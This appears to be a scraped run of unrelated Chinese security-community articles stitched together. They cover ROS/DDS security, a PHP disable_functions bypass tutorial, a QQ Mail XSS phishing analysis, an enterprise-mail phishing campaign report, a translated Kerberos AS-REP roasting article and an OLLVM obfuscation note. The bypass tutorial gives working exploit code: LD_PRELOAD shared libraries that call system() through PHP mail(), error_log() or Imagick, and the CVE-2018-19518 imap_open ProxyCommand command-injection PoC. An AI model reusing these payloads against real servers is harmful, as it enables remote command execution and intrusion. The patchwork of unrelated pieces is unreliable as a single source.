的统一安全框架。但是对于 ROS 甚至整个机器人系统来说，在安全标准与规范、DDS 标准与实现差异、DDS
安全与性能、全系统方案等维度，还有很多工作可以改进。
### **安全标准**
自动驾驶领域已经有相对完整、成熟的安全标准，包括功能安全（Functional Safety）标准 ISO26262、网络安全（Cyber
Security）标准 ISO 21434。但在机器人领域，现有工业机器人标准 ISO10218、ISO 20218、ISO/TS
15066、服务机器人标准 ISO 13482、ISO 23482
等主要面向功能安全，尚无权威的网络安全标准。但是，随着服务机器人应用推广、机器人网络安全研究、及产业联盟的推动，机器人网络安全标准是必然趋势。
### **安全方案**
在安全方案维度，针对现有方案的问题或盲点，后续可见的研究趋势有：
一是 DDS 本身的成熟度演进。一方面，当前开源或商业 DDS 实现与 DDS 标准规范还存在差异，例如DDS-Security 标准规定了 5
大安全特性（Authentication、Access
Control、Cryptographic、Logging、DataTagging），而多数方案仅实现前 3 种强制特性；另一方面，开源 DDS
实现目前还存在性能、稳定性问题，质量成熟度不高。
二是基于 DDS-Security 安全方案的性能调优。一方面，在安全研究第三阶段，已有很多论文对 DDS-Security
方案的性能进行过深入分析，如加密算法对通信性能影响、DDS-Security 使能及 Governance
配置对整体性能影响等，但仍缺乏相对全面、精细的性能调优实践、指导。而 ROS
系统中不同节点、不同消息的安全需求并不完全一致，面向性能优化的安全策略对方案实施有积极意义。另一方面，社区中 DDS-Security 使能对应的 demo
样例相对简单、对应安全文档匮乏，用户学习和配置困难，不利于方案推广。
三是安全研究从 ROS 框架扩展到机器人全系统。在 SROS/SROS2 聚焦解决 ROS 本身安全问题后，作为 ROS 执行环境、存储载体的 Host
OS 的安全和风险受到更多关注。例如 SROS 2 中秘钥证书默认明文存储在 Host OS 指定目录下，无额外安全措施。业界 libddssec 方案通过
TEE 技术（ARM
Trustzone）解决秘钥证书安全存储问题，为机器人系统提供了可信计算和可信根能力，提升系统整体安全性。除软硬件安全能力应用外，一些研究倾向借用传统安全方案如
IDS（Intrusion Detection System）部署缓解 Host 风险，一些研究倾向于在机器人全系统中实施零信任方案，如 [Zero
Trust in Robotics](https://news.aliasrobotics.com/zero-trust-architecture-robotics/)。
* * * | 社区文章 |
# 简介
PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用
# Bypass思路
## 利用LD_PRELOAD
什么是LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量，用于动态库的加载，动态库加载的优先级最高，它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入程序，从而达到特定的目的。
简单来说就是LD_PRELOAD指定的动态链接库文件，会在其它文件调用之前先被调用
### demo
光看概念估计你可能会很懵，我们来写一个简单的demo来了解一下啥是LD_PRELOAD
首先我们先写一个id.c，内容如下：
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
执行一波
qiyou@ubuntu:~/Desktop$ id
uid=1000(qiyou) gid=1000(qiyou) groups=1000(qiyou)....
qiyou@ubuntu:~$ whoami
qiyou
qiyou@ubuntu:~/Desktop$ gcc -shared -o id.so id.c
qiyou@ubuntu:~/Desktop$ export LD_PRELOAD=./id.so
qiyou@ubuntu:~/Desktop$ id
uid=0(root) gid=0(root) egid=1000(qiyou)....
qiyou@ubuntu:~/Desktop$ whoami
root
可以看到uid和gid都变为了0，权限也变为了root
我们可以用ldd查询一下依赖关系，可以发现id.so(我们编译的动态链接库)在其它动态链接库之前提前被加载了，也就是说我们的恶意代码中的函数覆盖了原本的动态链接库的函数
### 配合putenv+mail
putenv官方手册是这么解释的：
putenv ( string $setting ) : bool
添加setting到服务器环境。环境变量仅在当前请求的持续时间内存在。在请求结束时，环境将恢复到其原始状态。
如果该函数未被ban掉的话，即使是禁用了其它常见的函数，也可能会导致rce
我们可以按照如下步骤：
1. 生成一个我们的恶意动态链接库文件
2. 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
3. 配合php的某个函数去触发我们的恶意动态链接库文件
4. Getshell
那么php中的某个函数怎么去找呢，参考了[该文章](https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html
"该文章")，发现mail()函数可以使用，而mail()函数执行默认是会调用外部程序sendmail的，看一下php.ini就会发现默认调用sendmail
-t -i
> PS：如果没有安装sendmail的话可以用`apt-get install sendmail`安装sendmail
我们可以用strace查看一下mail函数调用的过程，可以很明显看出来执行了sendmail -t -i
然后我们可以使用`readelf -Ws
/usr/sbin/sendmail`可以查看senmail都调用了哪一些函数，然后从中选几个即可，这里我们选择getuid
然后就可以编写我们的动态连接程序
test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls > test");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后生成我们的动态链接程序
gcc -c -fPIC test.c -o test
gcc --share test -o test.so
然后编写php脚本mail.php
<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","","");
?>
执行一波，然后用strace查看调用过程是否执行了我们的`ls > test`，可以发现成执行了我们的命令
### 配合putenv+error_log
0ctf2019的Wallbreaker Easy中ban了mail函数，但是error_log没有ban掉，故我们可以用error_log来bypass
disabled_functions
error_log的一些参数
error_log(error,type,destination,headers)
当type为1时，服务器就会把error发送到参数 destination 设置的邮件地址
编写php脚本，动态链接文件同上，error_log调用的过程中（当type为1时）和mail函数一样，也会调用sendmail，
<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>
## 利用ImageMagick
### 环境搭建
这个搭建环境有一丝丝繁琐，不过没关系，按照我以下步骤来应该问题不大QAQ
1：apt-get update&&apt-get install imagemagick
2：convert -version //如果安装成功会返回imagemagick版本号
安装几个依赖
apt-get install php-pear php-dev
apt-get install libmagickwand-dev
下载以及安装imagick
1.wget http://pecl.php.net/get/imagick-3.4.3.tgz
2.tar -zxvf imagick-3.4.3.tgz
3.phpize
4. ./configure --with-php-config=/usr/bin/php-config --with-imagick=/usr/local/imagemagick //注意php-config可能会不同，要根据你具体的情况来修改
5.make&&make install
6.改一波php.ini，随便一行添加：extension = imagick.so
7.然后php -r "phpinfo();"|grep imagick，看有没有安装成功
成功安装
然后安装ffmpeg
apt-get install ffmpeg
ffmpeg -v 看看是否安装成功
成功安装
### 如何利用
那么我们应该如何利用呢，参考了飘零师傅的分析，可以知道当Imagick处理的文件是如下后缀的时候，就会调用外部程序ffmpeg去处理该文件
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
我们来写一个小demo来验证一下是否正确
img.php
<?php
$img = new Imagick('img.mp4'); //img.mp4文件必须存在，否则就会不去调用ffmpeg
?>
我们strace一下看看执行的过程，可以发现在执行的过程中调用了ffmpeg
### 配合`__attribute__`函数
**PS:`__attribute__`的介绍**
__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)。__attribute__前后都有两个下划线，并且后面会紧跟一对原括弧，括弧里面是相应的__attribute__参数
__attribute__语法格式为：__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性，则该函数会在main（）函数执行之前被自动的执行。类似的，若函数被设定为destructor属性，则该函数会在main（）函数执行之后或者exit（）被调用后被自动的执行。例如下面的程序：
我们可以知道当该函数为`__attribute__((__constructor__))`的时候，会在main（）函数执行之前被自动的执行
所以我们尝试构造poc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls > test");
}
然后生成我们的动态链接程序
gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so
img.php
<?php
putenv("LD_PRELOAD=./poc.so");
$img = new Imagick('img.mp4');
?>
运行一波，发现我们的命令执行成功了
## 利用imap_open (CVE-2018-19518)
php
imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell，而debian/ubuntu中默认使用ssh来代替rsh的功能（也就是说，在debian系列系统中，执行rsh命令实际执行的是ssh命令）。
因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令，攻击者通过注入注入这个参数，最终将导致命令执行漏洞。
**ssh的-oProxyCommand 参数**
SSH 命令中用到了许多命令，其中我们可以使用 -o 参数来设置连接期间可用的各种选项。在建立SSH连接之前，我们可以设置 ProxyCommand
参数，如下所示：
qiyou@ubuntu:~/test$ ls
qiyou@ubuntu:~/test$ ssh -oProxyCommand="touch test.txt" 192.168.1.123
ssh_exchange_identification: Connection closed by remote host
qiyou@ubuntu:~/test$ ls
test.txt
可以发现即使是ssh连接失败了，但是命令还是执行了。
CVE-2018-19518的环境可以直接使用vulhub上的环境：[链接](https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
"链接")
直接上poc
<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>
执行一波，可以发现执行成功了，要想写webshell的话直接把我们的exp改一下就ok了，这里就不多赘述了
# Reference
<https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html>
<https://www.jianshu.com/p/137ae1400337>
<https://blog.csdn.net/haoel/article/details/1602108>
<https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php> | 社区文章 |
# QQ邮箱0day漏洞，打开邮件iCloud被盗案例分析
|
##### 译文声明
本文是翻译文章，文章来源：360天眼安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
最近, **360天眼安全实验室** 接到用户反馈,表示其收到如下内容的钓鱼邮件:
经过分析,确定为此邮件为利用QQ邮箱的未公开跨站漏洞实施的一次钓鱼攻击。
截止到发稿为止,QQ邮箱已经修复了这个跨站漏洞。
下面是该漏洞的一些细节:
点开文中的云盘链接之后发现页面为一个空页面,但是查看其源代码后发现攻击代码:
代码部分:
http://open.mail.qq.com/cgi-bin/dy_preview?column_id=1445100421t3853355936t31244&
column_url=
远程XML
的地址
&column_img_url=&t=unite_tmpl_magazine&qqtype=lockKey10
本次出问题的模块为QQ邮箱的邮件订阅预览功能,该功能允许加载一个远程可控的XML文件,但是在解析远程xml文档,生成邮件预览页时,没有严格校验输入数据,从而导致跨站的发生。
上文中POC的column_url即为远程可控的XML文件,该文件结构如下图:
由于程序为未对link字段的输入数据进行严格校验而导致跨站。link标签的数据在生成邮件预览页的过程中会被readOriginalLink函数处理:
从上图中可以看到,readOriginalLink未对传入的参数aF进行任何校验,直接写入到了document对象中,此时的document.documentElement.innerHTML如下:
可见img标签已经成功被我们控制,从而使本次跨站可以成功实施。
下图为我们模拟的一次攻击过程所截获的用户邮箱Cookie:
巧合的是,就在本文准备发表之前,FreeBuf上出现了另外一篇分析文章,受害者收到的钓鱼邮件内容几乎与本文相同
[事件还原:一封QQ恶意邮件,导致Apple ID密码丢失](http://www.freebuf.com/vuls/85053.html)
但是使用的跨站漏洞与本次的不同。由此推测,此事件幕后是一个完整的产业链,攻击者手里可能还握有其他未知的QQ邮箱跨站漏洞。
截止到发文为止, **360天眼安全实验室** 还发现了位于qq.com域下的另外一个跨站漏洞,此漏洞已通过[
**360补天平台**](https://butian.360.cn/vul/info/qid/QTVA-2015-326534)提交给官方,在漏洞修复前细节暂不公布。
最后 **360天眼安全实验室** 提醒各位QQ邮箱的用户,一定要慎点QQ邮箱中来历不明的邮件。
**企业可以通过这种以下方式来防御xss。**
<http://bobao.360.cn/learning/detail/2265.html> | 社区文章 |
**作者：sccs@知道创宇404积极防御实验室
时间：2021年01月07日**
## 概述
2022年01月06日
10:35，创宇智脑监测到针对某企业邮箱客户的钓鱼邮件，据该企业邮箱官网介绍，其用户量超过3000万。404积极防御实验室对钓鱼邮件进行分析，发现该钓鱼网站攻击对象重点是中国和美洲地区。
仅8小时就监控到有343家企业，其中不乏智能制造、高校、医疗和金融等行业，共计359个账号受害。
按照该钓鱼网站使用的数字证书生效时间（2022年1月5日）预估，截止到2022年1月6日约有500个企业邮箱账号受害；按照钓鱼网站的创建时间（2020年3月23日）预估，截止到2022年1月6日约有13万个企业邮箱账号受害，并且受害者还在持续增加。
## 技术分析
### 受害单位分析
据统计，70%以上的受害单位都能直接在官方网站上获取企业邮箱账号，其中不乏有直接跳转到该企业邮箱登录页面的网站，这直接为攻击者指明了攻击对象。
在分析钓鱼网站攻击对象时发现，北京和香港是主要受攻击地区，其中受害单位分别达到48家和30家。
表 2-1-1 受钓鱼攻击单位地域统计TOP表
图 2-1-2 钓鱼网站攻击地域占比图
根据对受害行业的统计，智能制造、高校、医疗、金融、贸易和科技等行业是被攻击的重点对象。
表 2-1-3 钓鱼网站攻击行业统计 TOP表
图 2-1-4 钓鱼网站攻击行业占比图
### 钓鱼邮件分析
该钓鱼邮件以标题为“您收到来自上海萨莉亚餐饮有限公司的电子发票”，内容使用“发票通”电子发票内容进行伪装，在下载发票PDF和发票图片的链接背后嵌入恶意钓鱼网站地址。
图 2-2-1 隐藏的虚假钓鱼网站地址
当受害者点击下载发票PDF链接的时候，会跳转到钓鱼页面。当受害者输入自己的邮箱帐号、密码之后该钓鱼网站会记录在后台。
图 2-2-2 钓鱼网站伪造的企业邮箱帐号密码登录页面
### 钓鱼网站分析
根据该钓鱼网站的域名特点，我们将其命名为“重狗”。
对该企业邮箱钓鱼网页提交表单分析发现，受害者提交的数据发送到一个名为i.php的页面。
图 2-3-1：钓鱼网站提交表单网页源代码
在分析该钓鱼网站网页结构时发现，该钓鱼网站可以遍历目录。
图 2-3-2：该钓鱼网站的目录结构
从目录结构可知该钓鱼网站使用logs.php模拟帐号登录页面，index_files则是钓鱼页面需要调用的静态资源，i.php处理受害者提交的数据并将数据写入到data.txt中。
从图2-3-2可以看到静态资源创建时间为 **2020年3月23日** ，由此可知该钓鱼网站蓄谋已久，且受害单位众多。
通过持续对存储受害者信息的data.txt的创建时间监控发现，该文件每隔10分钟左右分钟会自动删除。结合该网站创建时间（2020年3月23日）可以得出，受害单位的数量
**远远大于** 目前我们所发现的343家单位，按照该钓鱼网站创建时间推算，约有13万个该企业邮箱账号被成功钓鱼。
图 2-3-3：钓鱼网站后台记录的受害者的账号密码
目前可能由于太多受害者访问该钓鱼网站，导致钓鱼网站服务器超出带宽限制而不能访问。
图 2-3-4该钓鱼网站由于超出带宽限制不能访问截图
对该域名使用的数字证书分析时发现该域名曾使用过一个2022年1月5日才生效的数字证书，且钓鱼攻击还在持续进行中该证书还未被标记为恶意证书。
跟踪分析该证书授权域名可以发现，该网站也可以目录遍历，且和该企业邮箱钓鱼网站的目录结构和文件创建时间高度接近，疑为同一攻击者架设的钓鱼网站。
表 2-3-5钓鱼网站的目录结构
进一步分析发现，该网站是针对美洲某信用社的钓鱼网站，综合上述分析得知，该钓鱼网站不仅仅针对中国发起了钓鱼攻击，还会对美洲地区发起钓鱼攻击。
图 2-3-6：美洲某信用社虚假的钓鱼网站
根据对该钓鱼网站的整体分析结果可以绘制出该钓鱼网站大致攻击时间轴：
## 安全建议
1、已点击邮件中链接，并输入了邮箱密码的用户，请立即登录账户修改密码，新密码不使用纯数字、纯字母等过于简单的邮箱登录口令，务必要使用十二位以上，由数字、大小写字母和特殊字符组成的复杂密码，并定期更换密码。
2、及时修改与该邮箱密码相同的其他系统的账号密码。
3、不启用账号密码登录，使用二维码扫描登录或手机号验证码登陆。
4、官网展示的联系邮箱可与企业内部邮箱分开，避免泄露敏感信息。
5、使用电子邮件安全网关，过滤钓鱼邮件和垃圾邮件。
## 披露申明
本报告由知道创宇 404积极防御实验室 编写。考虑到相关信息的敏感性和特殊性，本报告中和受害者相关的邮箱账号密码信息我们将做模糊处理；
同时为预防其他攻击者利用钓鱼网站公开信息泄露受害者的个人隐私，本报告涉及到的 IP、Domain、URL、HASH 等一系列IOC（Indicators
of Compromise，攻陷指标）已做模糊处理。
* * * | 社区文章 |
# 【技术分享】利用AS-REQ攻击Kerberos
|
##### 译文声明
本文是翻译文章，文章来源：harmj0y.net
原文地址：<http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
去年11月，我发表了一篇名为“[Kerberoasting Without
Mimikatz](http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)”的文章，详细介绍了[PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/445f7b2510c4553dcd9451bc4daccb20c8e67cbb/Recon/PowerView.ps1)和[Tim
Medin](https://twitter.com/TimMedin)提出的[Kerberoasting](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf)攻击的最新发展情况。从这时起，Kerberos引起了我的密切关注。就在几个星期前，我的同事[Lee
Christensen](https://twitter.com/tifkin_)发现了来自Exumbra Operations的Geoff
Janjua的一篇有趣的演讲，题为“[Kerberos Party Tricks：Weaponizing Kerberos Protocol
Flaws](http://www.exumbraops.com/blog/2016/6/1/kerberos-party-tricks-weaponizing-kerberos-protocol-flaws)”，相关的幻灯片和工具包可以从[这里下载](http://www.exumbraops.com/layerone2016/party)。
Geoff提到的一个有趣的事情是，借助于利用Python编写的“Party Trick”工具包，无需进行Kerberos预身份验证，就可以滥用用户帐户。
最近，我对这个话题进行了深入的研究，所以这里专门跟大家分享一下我所了解到的情况。这篇文章将详细介绍Kerberos滥用方面的详细背景知识，具体涉及如何轻松地枚举不需要预身份验证的帐户，如何提取可破解的哈希值，最后介绍如何破解获得的哈希值。同时，我们还会介绍一个相关的PowerShell工具包：ASREPRoast，目前已经可以从GitHub上下载了。
如果您可以枚举Windows域中不需要Kerberos预身份验证的所有帐户，那么就可以轻松地为这种帐户请求一条加密信息，并能够在离线状态下有效地破解该信息，从而得到用户的密码。
注意：这并不是什么革命性的技术，并且显然不如Kerberoasting技术有用，因为帐户必须显式地设置为DONT_REQ_PREAUTH，这种方法才有可乘之机——最后能否得逞，还要取决于用户设置的密码的复杂程度。但是，在某些环境中，某些帐户仍然使用了此设置，我们只是不确定它们所占比例，因为之前我们没有注意到这个事情。我们的猜测是，它可能是一些旧帐户所设置的，特别是Unix相关的账户。
如果你拥有目标用户的GenericWrite/GenericAll权限，那么可以使用ASREPRoast恶意修改其userAccountControl（无需预身份验证），然后重置该值。
**背景知识**
关于Kerberos的全面介绍，请访问Sean Metcalf的相关文章。如果像AS-REQ和AS-REP这样的术语对你来说是完全陌生的，那么最好先阅读Sean的相关文章。在本文中，我们只对Kerberos的预身份验证感兴趣。
在Windows Kerberos环境中的正常操作下，当您为给定用户（Kerberos AS-REQ，消息类型10）发起TGT请求时，必须提供通过该用户的密钥/密码加密过的时间戳。该结构是PA-ENC-TIMESTAMP，并且嵌入在AS-REQ的PA-DATA（预授权数据）中——这两种结构在RFC4120的第60页都有详细的描述信息，并且两者都是在Kerberos版本5中引入的。然后，KDC会解密这个时间戳，以验证AS-REQ的主体是否来自相应的用户，然后返回AS-REQ并继续进行常规的认证过程。
注意：对于任何不正确的PA-ENC-TIMESTAMP尝试，KDC都会添加badpwdcount属性，所以，我们无法使用这个方法来在线强力破解帐户密码。
之所以进行Kerberos预身份验证，是为了防止离线密码猜解。当AS-REP票据本身用服务密钥（在这种情况下是krbtgt哈希值）加密时，AS-REP“加密部分”用客户密钥签名，即我们为其发送AS-REQ的用户的密钥。如果未启用预身份验证功能，攻击者可以为无需预先验证的任何用户发送AS-REQ，并接收一些可以离线破解的加密信息，以得到目标用户的密码。
这一点早就广为人知了，毕竟，预身份验证是通过Kerberos实现的！在现代的Windows环境中，所有用户帐户都需要进行Kerberos预身份验证，但有趣的是，在默认情况下，Windows会先尝试交换AS-REQ/AS-REP（无需进行Kerberos预身份验证），不成功的话会在第二次提交时会提供加密的时间戳：
我不知道为什么会这样。
但是，Windows提供了一种方法，可以通过修改useraccountcontrol来手动禁用特定帐户的这种保护机制：
如果您已经通过验证（但未获授权），那么就可以轻松地枚举域中的用户，为此只需通过LDAP过滤器（userAccountControl：1.2.840.113556.1.4.803：=
4194304）完成设置即可。 PowerView的Get-DomainUser已经实现了这一功能，只需使用-PreauthNotRequired参数即可：
到目前为止，我们已经知道了问题所在，以及如何识别易受攻击的用户。据我所知，现在唯一可以用来攻击RC4 AS-REP的工具集，就是Geoff的Python工具包。我们想要的工具必须是基于Windows的，并且无需管理权限，只有这样才能提高攻击流程的灵活性。我们还想要一个更快的方法来破解这些哈希值。
**ASREPRoast**
首先，我尝试寻找利用.NET来揭示AS-REP的原始字节的方法，比如类似于Kerberoasting的方法。我花了大量的时间，最后还是无功而返。实际上，即使存在可行的方法，也会面临这样一个问题：由于现代Windows
Kerberos环境默认情况下会在AS-REP中使用AES256-CTS-HMAC-SHA1-96进行加密，而不是更快的ARCFOUR-HMAC-MD5 /
RC4方法。 但是，在破解的时候，RC4-HMAC明显会更快一些，所以如果可能的话，我们喜欢RC4-HMAC。
我最终采取的方法是手动构建AS-REQ，以便控制必要的参数，同时解析KDC的AS-REP响应，确定是否成功，从而提取加密的信息。这里还有一个难题——Kerberos使用ASN.1对这个结构进行了编码，但是.NET没有内置相应的编码器或解码器。幸运的是，有一个开源的C＃版本的Bouncy
Castle加密库，正好提供了我们所需的ASN.1编码和解码功能。
限于篇幅，这里不会对ASN.1进行详细的介绍，读者有兴趣可以自行搜索相应的介绍材料。我们关心的AS-REQ的规范在RFC1510的第55页和RFC4120的第74页。 Benjamin
Delpy还在他的Kekeo项目中介绍了所有这些ASN.1结构，具体如下所示：
AS-REQ ::= [APPLICATION 10] KDC-REQ
KDC-REQ ::= SEQUENCE {
pvno[1] INTEGER,
msg-type[2] INTEGER,
padata[3] SEQUENCE OF PA-DATA OPTIONAL,
req-body[4] KDC-REQ-BODY
}
PA-DATA ::= SEQUENCE {
padata-type[1] INTEGER,
padata-value[2] OCTET STRING,
-- might be encoded AP-REQ
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options[0] KDCOptions,
cname[1] PrincipalName OPTIONAL,
-- Used only in AS-REQ
realm[2] Realm, -- Server's realm
-- Also client's in AS-REQ
sname[3] PrincipalName OPTIONAL,
from[4] KerberosTime OPTIONAL,
till[5] KerberosTime,
rtime[6] KerberosTime OPTIONAL,
nonce[7] INTEGER,
etype[8] SEQUENCE OF INTEGER, -- EncryptionType,
-- in preference order
addresses[9] HostAddresses OPTIONAL,
enc-authorization-data[10] EncryptedData OPTIONAL,
-- Encrypted AuthorizationData encoding
additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
}
AS-REQ ::= [APPLICATION 10] KDC-REQ
KDC-REQ ::= SEQUENCE {
pvno[1] INTEGER,
msg-type[2] INTEGER,
padata[3] SEQUENCE OF PA-DATA OPTIONAL,
req-body[4] KDC-REQ-BODY
}
PA-DATA ::= SEQUENCE {
padata-type[1] INTEGER,
padata-value[2] OCTET STRING,
-- might be encoded AP-REQ
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options[0] KDCOptions,
cname[1] PrincipalName OPTIONAL,
-- Used only in AS-REQ
realm[2] Realm, -- Server's realm
-- Also client's in AS-REQ
sname[3] PrincipalName OPTIONAL,
from[4] KerberosTime OPTIONAL,
till[5] KerberosTime,
rtime[6] KerberosTime OPTIONAL,
nonce[7] INTEGER,
etype[8] SEQUENCE OF INTEGER, -- EncryptionType,
-- in preference order
addresses[9] HostAddresses OPTIONAL,
enc-authorization-data[10] EncryptedData OPTIONAL,
-- Encrypted AuthorizationData encoding
additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
}
此外，Wireshark也是一个非常不错的工具。我们可以利用它进行正常的Kerberos交换，导出Kerberos数据包字节，并使用JavaScript
ASN.1解码器来可视化数据：
接下来，我们介绍如何使用Bouncy Castle通过PowerShell构建一个ASN.1编码的AS-REQ。在处理几个标记并找到正确的数据结构之后，我构造了一个New-ASReq，它可以接受用户/域名，构建正确的嵌套组件，并返回请求的原始字节。
由于上面这些东西都是手工构造的，所以可以包含或省略任何我们想要的内容。因此，我们可以只包括ARCFOUR-HMAC-MD5，而不是支持的所有加密类型。此类型的介绍及其在Windows
Kerberos认证中的用法，在RFC4757中有详细的说明。特别是，在第3节介绍了该算法不同用途的消息类型。虽然AS-REP票据就像TGS-REP票据（即kerberoasting）一样也使用类型2，但是响应中的这部分使用了服务密钥（在这种情况下是krbtgt哈希值）进行过加密处理，因此无法破解。然而，AS-REP的加密部分，基本可以“降级”为RC4-HMAC的部分，虽然使用了相同的算法，不过使用的是消息类型8。这对今后的破解是非常有帮助的。
ASREPRoast中的第二个函数Get-ASREPHash用来对New-ASReq进行包装，为特定用户/域生成适当的AS-REQ，枚举所传递域的域控制器，发送精心设计的AS-REQ，并接收响应字节。 Bouncy Castle用于解码响应，从而确定是一个KRB-ERROR响应还是一个正确的AS-REP。如果请求成功，我们可以提取出使用指定用户的哈希值加密的RC4-HMAC的加密部分，并以一个特定的格式返回：
ASREPRoast中，最后一个有用的函数是Invoke-ASREPRoast。在Windows
Kerberos环境中，如果该函数从通过了域验证但未有其他特权的用户上下文中运行的话，这个函数首先会枚举所有在其用户帐户控制设置中使用LDAP过滤器（userAccountControl：
1.2.840.113556.1.4.803：= 4194304）设置了“不需要Kerberos预身份验证”的用户。对于返回的每个用户，可以通过Get-ASREPHash得到其可破解的哈希值：
**破解哈希值**
现在，我们得到了使用RC4-HMAC算法取得的AS-REP的哈希值，它们都用用户的密码进行了加密处理。下面，我们将通过离线方式对其进行破解，但是请记住，尽管使用了与现有TGS-REP格式相同的算法和方法，但是此处的消息类型为8而不是2。
但是这就意味着，现有的插件无法使用，不过问题不大，我们只需将这一行中的2改为8，删除一些特定的TGS
ASN.1加速设置，并更改格式命名方法即可。在ASREPRoast项目中，我提供了一个调整过的krb5_asrep_fmt_plug.c插件，只需将其放到Magnumripper的源文件夹中，运行正常的构建指令，就可以破解ASREPRoast.ps1的输出了：
我相信，通过类似方式，可以轻松修改Hashcat的现有TGS-REP格式，但我还没有进行相关试验。此外，因为这是与krb5tgs /
Kerberoasting格式相同的算法，只需进行适当调整，性能应与现有模块不相上下。
**小结**
正如我在开始时提到的，这显然不如Kerberoasting攻击那么有用，因为帐户必须显式地设置DONT_REQ_PREAUTH，并且攻击成功与否严重依赖于密码的复杂程度。但是，此设置有时的确会出现在某些环境中，通常是出于向后兼容性考虑而出现在一些老帐户上，所以，我们认为该工具集至少在某些情况下还是很有用的。
关于防护措施，其实与Kerberoasting有关的保护措施同样适用于这种攻击，特别是让设置DONT_REQ_PREAUTH的账户使用长密码，并且当异常主机为这些帐户发送AS-REP时要发出警报。此外，还要检查哪些账户进行了此项设置，为此，可以借助于PowerView（Get-DomainUser
-PreauthNotRequired），或其他LDAP工具集，只要使用（userAccountControl：1.2.840.113556.1.4.803：=
4194304）过滤器即可。最后，还要慎重考虑是否真的需要含有此设置的帐户。 | 社区文章 |
# 【技术分享】为OLLVM添加字符串混淆功能
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
本文简单介绍了下使用上海交大GoSSIP小组开源的“孤挺花”混淆框架来给OLLVM加上字符串混淆的功能。
**0x01 OLLVM 4.0**
OLLVM(Obfuscator-LLVM)是瑞士西北应用科技大学安全实验室于2010年6月份发起的一个针对LLVM代码混淆项目，主要作用是增加逆向难度，从而一定程度上保护代码的安全。因为后期转向了商业项目[strong.protect](https://strong.codes/)，所以项目的进度一度停滞，而在17年3月，LLVM已经更新到了4.0版本，新版本的一些特性导致老版本的OLLVM存在一定的局限性。
几天前，上海交大密码与计算机安全实验室GoSSIP小组开源了他们设计的基于LLVM
4.0的[孤挺花混淆框架](https://github.com/GoSSIP-SJTU/Armariris)，功能包含字符串加密，控制流扁平化和指令替换。出于稳定性考虑，目前开源的代码仅包括对编译源代码中的常量字符串加密一项基本功能（[相关简介](https://zhuanlan.zhihu.com/p/27617441)）。给上海交大的同学点赞
: )
YSRC简单的做了下分析，发现该功能主要是实现了一个用于字符串加密的pass，具体什么是pass，可以参考如下文章（[①](http://www.nagain.com/activity/article/14/)
，[②](https://mp.weixin.qq.com/s?__biz=MzI3NzQwMDI5OQ==&mid=2247484022&idx=1&sn=407fef61145a26e07ea577f39af8a594&scene=21#wechat_redirect)），本文主要介绍将孤挺花的字符串加密pass集成到[OLLVM
4.0](https://github.com/obfuscator-llvm/obfuscator/tree/llvm-4.0)中。（官方分支暂时还未支持Constants encryption）
**0x02 pass集成**
字符串加密的pass位于如下目录
提取出该文件，放到OLLVM相同目录下，并将头文件也复制到对应目录下
在Obfuscation下的cmakelists.txt将StringObfuscation.cpp添加到编译库中，最后只需要在Transforms/IPO下的PassManagerBuilder.cpp将字符串加密的编译选项添加进去即可
1\. 添加#include “llvm/Transforms/Obfuscation/StringObfuscation.h”引用
2\. 在合适的地方插入以下两条函数声明，即编译时的编译参数-mllvm -sobf:
3\. 在PassManagerBuilder::PassManagerBuilder()构造函数中添加随机数因子的初始化
static cl::opt<std::string> Seed("seed", cl::init(""), cl::desc("seed for the random")); static cl::opt<bool> StringObf("sobf", cl::init(false), cl::desc("Enable the string obfuscation"));
